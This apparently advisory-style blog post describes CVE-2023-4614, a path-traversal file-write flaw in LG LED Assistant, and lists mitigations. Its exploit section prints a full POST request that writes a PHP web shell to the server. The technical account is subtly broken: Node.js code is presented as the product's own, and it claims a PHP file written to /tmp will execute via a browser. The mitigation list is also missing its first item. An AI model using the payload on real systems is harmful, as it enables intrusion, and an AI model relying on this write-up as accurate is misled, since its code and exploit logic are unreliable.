A recent vulnerability has been reported in LG's LED Assistant application that allows remote attackers to execute arbitrary code on affected installations. This vulnerability is highly critical, as malicious actors do not require authentication to exploit it. This post will provide an in-depth analysis of the vulnerability, its potential impact, and suggested mitigations for affected users.

Description

The vulnerability (CVE-2023-4614) exists in the /api/installation/setThumbnailRc endpoint of the LG LED Assistant. The issue stems from a lack of proper validation of user-supplied path data before using it in file operations. As a result, an attacker can exploit this vulnerability to remotely execute code on the affected installations and gain unauthorized access to the system.

Below is a code snippet to demonstrate the vulnerable part of the code

router.post('/api/installation/setThumbnailRc', function(req, res) {
    // Vulnerable part: lack of proper validation of the user-supplied path
    var path = req.body.path;
    
    // File operation using the user-supplied path
    fs.writeFile(path, req.body.data, function(err) {
        if(err) {
            return res.status(500).send(err);
        } else {
            res.status(200).json({message: "Successfully saved"});
        }
    });
});

Exploit Details

An attacker can exploit this vulnerability by sending a malicious POST request containing crafted path information, as shown below:

POST /api/installation/setThumbnailRc HTTP/1.1
Host: vulnerable_host
Content-Type: application/json;charset=UTF-8
{
    "path": "../../../../../../../tmp/malicious_code.php",
    "data": "<?php exec($_GET['cmd']); ?>"
}

In this example, the attacker sends a request containing a crafted "path" parameter, causing the application to write the supplied "data" parameter, which contains malicious PHP code, to the specified server directory. This malicious code will execute when accessed using a web browser, granting the attacker access to the system and capabilities to execute arbitrary code.

Original References

- NVD: (https://nvd.nist.gov/vuln/detail/CVE-2023-4614)
- LG: (https://www.lg.com/security)

Ensure that the LG LED Assistant is up-to-date with the most recent security patches provided by LG.

2. Implement proper input validation for user-supplied data, including paths, to prevent malicious data from being processed by the application.
3. Limit or restrict access to the /api/installation/setThumbnailRc endpoint to prevent unauthorized users from exploiting the vulnerability.
4. Regularly monitor and review application logs for any unusual activity or evidence of exploitation attempts.

Conclusion

CVE-2023-4614 is a critical remote code execution vulnerability affecting LG LED Assistant installations. By exploiting the vulnerability, attackers can execute arbitrary code within the context of the victim user. Users and administrators must take the threat seriously and implement the suggested mitigations to minimize the risk of exploitation and potential damage.

Timeline

Published on: 09/04/2023 11:15:00 UTC
Last modified on: 09/08/2023 14:14:00 UTC